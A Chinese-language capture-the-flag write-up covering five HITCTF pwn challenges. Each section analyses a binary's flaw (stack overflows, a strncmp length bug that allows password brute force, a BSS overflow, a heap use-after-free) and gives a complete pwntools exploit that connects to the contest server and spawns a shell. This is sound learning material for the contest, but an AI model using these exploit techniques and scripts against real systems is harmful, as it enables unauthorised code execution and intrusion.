HITCTF PWN

STACK OVERFLOW

基本逻辑

main函数调用vuln函数,vuln函数中输入name字符串:

vuln函数

漏洞

vuln函数中buf的地址是ebp-28h,即buf大小为0x28,但在读入字符串时,read参数是0x40,即栈溢出漏洞。

漏洞利用

保护机制: NX堆栈不可执行

checksec

在IDA的函数一栏发现有一个flag的函数,利用该函数执行shell :

flag函数

通过栈溢出构造ROP:将vuln函数返回地址覆盖为flag,同时写入flag函数执行所需要的参数a1和a2。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context.log_level = 'debug'

debug = 0

flag_addr = 0x080485DF

if debug:

p= process("./stackoverflow")

else:

p = remote("111.230.132.82",40000)

payload= 'a'*44

payload += p32(flag_addr)

payload += p32(0xdeadbeef) + p32(0xdeadbeef)+p32(12648430)

p.recvuntil("Welcome to pwn world!\nLeave your name:")

p.sendline(payload)

p.interactive()

login

基本逻辑

main函数

main函数首先调用login()函数,用户输入username和password后,与服务器端预设的值进行比较。有两个用户:root和lilac。需要注意的是,strncmp的第三个参数,这个参数代表需要比较多少个字符。仔细看login函数中的strncmp是有问题的。(见2.漏洞)

login

从login返回之后,main函数会对登录是否成功进行判定,只有当用户为root且通过了login函数的比对操作才能继续进行,其余情况都会直接exit。而且即使login函数通过了之后,main函数还接着调用了check()函数来再次检查用户名和密码。注意,仔细查看login和check函数中的strncmp的第三个参数是不一样的:login中第三个参数是用户输入的长度,check中是指定的长度。

check

漏洞

1
2
3
4
5
6
n = read_input_raw(username, 16);
v3 = read_input_raw(password, 32);
if ( !strncmp(username,"root",n)&&!strncmp(password,"passwd_has_be_changed_in_remote_", v3) )
{
v1 = 0;
}

login函数第三个参数是用户输入的字符串长度,比如,我们只输入一个字符,那么strncmp就只比较两个字符串的一个字符,如果恰巧蒙对了,strncmp就返回0(代表相等);没蒙对就继续蒙,直到蒙到第一位是正确的。由此,可以通过暴力破解依次获取每一位password。需要注意的是,我们拿到的可执行文件和服务器上的不是一个,出题人在password处暗示我们了:passwd_hasbe changed_inremote

漏洞利用

从check函数中可以看出,root用户的密码为32位。通过暴力破解,多次启动进程,从返回结果是否是”How can you login successful as root!”来判断该位是否正确。可以通过查看ASCII表中可见字符的范围来缩小暴力破解的次数,我用的是33-126。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#暴力破解
debug = 0
for num in range(0,32):
for i in range(33,126):
if debug:
p= process("./login")
else:
p = remote("111.230.132.82",40001)
p.recvuntil("Username: ")
username = "root"
p.sendline(username)

p.recvuntil("Password: ")
tmp = pwd+chr(i)

p.sendline(tmp)
hint = p.recvline()
#print hint
if "How can you login successful as root!" in hint:
pwd+=chr(i)
p.close()
print pwd
break
p.close()
print pwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#发送正确的username和password
from pwn import *
context.log_level = 'debug'
debug = 0
if debug:
p= process("./login")
else:
p = remote("111.230.132.82",40001)

p.recvuntil("Username: ")
username = "root"
p.sendline(username)

p.recvuntil("Password: ")
pwd="XXXXX" #此处就是上一步暴力破解获取的pwd
p.sendline(pwd)
p.interactive()

DragonBall

基本逻辑

一个小游戏,一共有15块,要集齐七个龙珠才能许愿,我们能实现的操作有买龙珠、卖龙珠、打印龙珠和对着龙珠许愿:P。

main

买的时候龙珠5块钱一个,但是注意,if里面只判断了money是否为0,并没有判断>0

buy

卖的时候龙珠只有3块钱,但这里在后续我们利用漏洞起到了一定作用。

sell

wish函数里,向v1里读入wish字符串,向v2里读入yes or no,正常人会用这么大的缓冲区放yes和no吗??v2分配了0x38大小,但是读入的时候读了0x40个字符,也就是说可以有8个字节的缓冲区溢出。v1分配了0x30大小,但是读入的时候读了0x68个字节。

wish

漏洞

首先,buy函数里,只要money不是0,是负数也无所谓,可以无穷尽的买卖,这样很快就能达到7个龙珠了。

其次,wish函数里v1和v2都可以进行缓冲区溢出。v1读入的0x68个字节可以占用v2的空间,v2读入的0x40正好可以修改返回地址。

漏洞利用

保护机制:喜大普奔!这题没有开NX!也就是可以在栈上写入shell并执行

checksec

利用的思路就是:在v1或v2的位置写入shell,然后要获取栈地址,并将这个地址通过v2写入wish的返回地址,最后wish返回之后就能直接执行shell。

其余都好弄,就是如何获取栈上的地址。在gdb调试过程中,通过查看栈,发现此时ebp的值为0xffffc818,向上两个单元中的值总是和ebp相差0x10,而这个位置正好可以通过读取v1来得到,这样就得到了栈上的地址。可以发现,wish中会将v1中的内容打印出来(Your wish is %s…)。由此,先将v1中这个位置之前的内容都填满,共0x68-8=0x60个字节,其中包含着可执行的shell;然后再通过v2将返回地址的位置填上v1的地址即可。

gdb

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.log_level='debug'
debug = 0

if debug:
p = process('./DragonBall')
else:
p = remote('111.230.132.82',40002)
#buy dragonball
for i in range(0,2):
p.recvuntil('You choice: ')
p.sendline('1')
p.recvuntil('You choice: ')
p.sendline('2')
for i in range(0,6):
p.recvuntil('You choice: ')
p.sendline('1')

#make a wish
p.recvuntil('You choice: ')
p.sendline('4')
p.recvuntil('Tell me your wish: ')

shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x60,'a')

p.sendline(payload)
p.recvuntil('Your wish is ')
p.recv(0x60)
stack_addr = u32(p.recv(4))
wish_addr = stack_addr-0x10-0x68
print "wish_addr:0x%x"%wish_addr

p.recvuntil('is it right?\n(Y/N) ')
payload = 60*'a'+p32(wish_addr)
p.sendline(payload)

p.interactive()

nodes

基本逻辑

主要是对一个单向链表上的节点进行操作。

main

set_size函数是对BSS段上的一个值进行初始化,设置为48,这个字段后续要作为read函数的第三个参数。

set_size

main函数中限定了节点数最多为149.

add_node函数,首先判断头节点是否存在,如果存在,就通过后向指针循环寻找下一节点,直到找到链表的尾部,添加新的节点;如果不存在,就构建头节点后再添加新的节点。 这里可以看见,read函数的第三个参数就是之前set_size函数里设置为48的那个字段unk_804a080。

add_node

通过add_node函数,可以了解到每一个节点的结构如下:

nodes_structure

edit_node函数通过value作为索引,找到对应节点,修改其data内容。

edit_node

print_node顺序打印链表中每个节点的value和data。

print_node

漏洞

说实话,这题的漏洞对我隐藏的太深了,我大概看了三个小时才找到漏洞。

main函数中的case 1,会打印已有的节点数,其中这个byte_904a060是一个bss段上的字段。

1
sprintf(byte_804A060, "You have already insert %d nodes", nodes_num);

在bss段找到它,发现它实际分配了32字节的空间。

数一下You have already insert XXX nodes字符串,如果nodes_num是3位数,那么字符串长度为33位,也就是说,当添加的节点数大于等于100时就会触发堆溢出漏洞。从上图能够看出,byte_904a060之后正好就是 unk_804a080,就是最开始设置为48的read参数,一旦堆溢出,byte_904a060的最后一个字符s就会覆盖 unk_804a080,即read可以读入的字符串长度变成0x73,覆盖next指针的值,再次调用print_node时就会泄露内存。

漏洞利用

system函数地址的泄露:首先申请100个节点,这时会造成堆溢出漏洞。这样read的第三个参数变得很大,通过edit_node将第99个节点的next指针覆写为puts函数的got表地址。再调用print_node时,第100个节点的地址就会变为puts函数的got表地址puts@got,打印出来的value也就是当前puts函数的真实地址。再通过libc中puts与system的相对便宜进一步得到system函数地址。再通过edit_node操作第100个节点,修改puts@got中的内容为system函数地址。

system函数调用: 当程序中调用puts时就相当于调用了system函数,可以事先在第一个节点的data中写入/bin/sh参数,当调用print_node时,触发puts(data),即执行了system(‘/bin/sh’)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
import time
context.log_level='debug'
debug = 0

puts_got = 0x0804A024
if debug:
p = process('./nodes')
libc = ELF('./libc.local.so')
else:
p = remote('111.230.132.82',40003)
libc = ELF('./libc.so.6')

#add 100
p.recvuntil('please input your choice:')
p.sendline('1')
p.recvuntil('Value:')
p.sendline('1')
p.recvuntil('Data:')
p.sendline('/bin/sh')
for i in range(2,101):
#time.sleep(1)
p.recvuntil('please input your choice:')
p.sendline('1')
p.recvuntil('Value:')
p.sendline(str(i))
p.recvuntil('Data:')
p.sendline('')



#edit no.99
p.recvuntil('please input your choice:')
p.sendline('2')
p.recvuntil("Node's value:")
p.sendline('99')
p.recvuntil('New value:')
p.sendline('99')
p.recvuntil('New data:')
p.sendline('a'*48 + p32(puts_got))

#list -> leak puts_addr
p.recvuntil('please input your choice:')
p.sendline('3')
p.recvuntil("Your nodes:")
for i in range(1,100):
p.recvuntil('Value:')
p.recvuntil('Data:')
p.recvuntil('Value:')

puts_addr = int(p.recv(10))
print "puts_addr:0x%x" %puts_addr

system_addr = puts_addr - (libc.symbols['puts']-libc.symbols['system'])
print "sys_addr:0x%x" %system_addr

#edit 100
p.recvuntil('please input your choice:')
p.sendline('2')
p.recvuntil("Node's value:")
p.sendline(str(puts_addr))
p.recvuntil('New value:')
p.sendline(str(system_addr))
p.recvuntil('New data:')
p.sendline(p32(system_addr))

#list
p.recvuntil('please input your choice:')
p.sendline('3')
p.interactive()

babynote

基本逻辑

菜单类的题目,可以添加、编辑、删除和打印note。

main

add函数限定了note数量最多为3。通过add函数,能够看出程序管理每一块note的方法:有一个list数组用于存放每一个note的首地址,每一个note的大小是12字节,依次存放note中content的大小、content的地址和puts函数地址。

add

edit函数通过note的编号作为索引修改content的内容。

prints函数调用每一个note中的第三个字段(正常来说是puts函数地址)来打印每一个note的内容。

delete函数释放note的content地址空间和note地址空间,然而并没有将指针置0.

漏洞

在delete函数中,被释放的指针没有置空,导致UAF(use after free)漏洞,即可以对已释放的内继续进行操作。

漏洞利用

非常不巧,本题开了PIE保护,即程序的地址也不再是固定不变的了,漏洞的利用变得更加困难。

system函数的地址泄露:

涉及了一个新的知识点:main_arena。main_arena存在于libc的BSS段中,用于存放各种bin的头结点信息,如fastbin,smallbin和unsortedbin等。本题中,当最开始add了一个note,并设置content大小为一个大于64字节的数(例如100),再delete这个note时,这一块内存会首先放入unsortedbin当中,并将FD和BK设置为main_arena中unsortedbin的头结点地址。

可以通过调试查看,在100字节的content没有被释放时,main_arena的结构是这样的:

释放这个note之后,main_arena如下:

其中bins里存放的就是各类型的bin头结点的地址,发现0x5824b010就是unsortedbin头结点的地址,查看0x5824b010,就能看见刚刚释放的content 地址。

因此,system函数的地址泄露可以通过读取已释放的content的前四字节(FD指针)泄露libc的地址,进而泄露system的地址。

system函数的覆写和调用:

本题中note固定占用12字节,属于fastbin。当某一content正好也要申请12字节空间时,系统会先再fastbin上寻找是否有大小相同的chunk,如果有就会直接分配给content。如果这个chunk是之前释放的note,那么利用UAF漏洞,就可以修改内存。

先申请第一个note(note#0),其content大小为100字节。再申请第二个note(note#1),其content(content#1)大小为12字节。释放note #1和note #0。由于fastbin是LIFO的原则,此时fastbin上的chunk顺序为:note#0->note#1->content#1。此时再申请第三个note(note #2),并要求content也为12,系统从fastbin中顺序摘下大小为12的chunk进行分配,那么note#2对应的就是note#0,content#2对应的就是note #1。

此时向content#2输入,就会覆写掉note#1原本的内容,将前两个字段写成/bin/sh,第三个字段写成system函数地址;然后再调用prints对note#1操作,就相当于直接调用了system函数。

PS:在调试过程中可以通过vmmap来查看,FD指针与libc其实地址的相对偏移offset。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
context.log_level='debug'
debug = 0

if debug:
p = process('./babynote')
libc = ELF('./libc.local.so')
else:
p = remote('111.230.132.82',40004)
libc = ELF('./libc.so.6')
offset = 0x1b27b0
def add(size,content):
p.recvuntil("Your choice :")
p.sendline('1')
p.recvuntil("Content size:")
p.sendline(str(size))
p.recvuntil("Input the content:")
p.sendline(content)
def delete(index):
p.recvuntil("Your choice :")
p.sendline('4')
p.recvuntil("Input the index:")
p.sendline(str(index))
def edit(index,content):
p.recvuntil("Your choice :")
p.sendline('2')
p.recvuntil("Input the index:")
p.sendline(str(index))
p.recvuntil("New content:")
p.sendline(content)
def prints(index):
p.recvuntil("Your choice :")
p.sendline('3')
p.recvuntil("Input the index:")
p.sendline(str(index))
#0
add(100,'a'*4)
#1
add(12,'/bin/sh')

delete(1)
delete(0)

prints(1)
prints(0)
addr = u32(p.recv(4))
print "addr:0x%x" %addr
libc_base = addr - offset
sys_addr = libc_base+libc.symbols['system']
print "sys:0x%x"%sys_addr

#2
add(12,'c'*4)

edit(2,'/bin/sh\0'+p32(sys_addr))

prints(1)

p.interactive()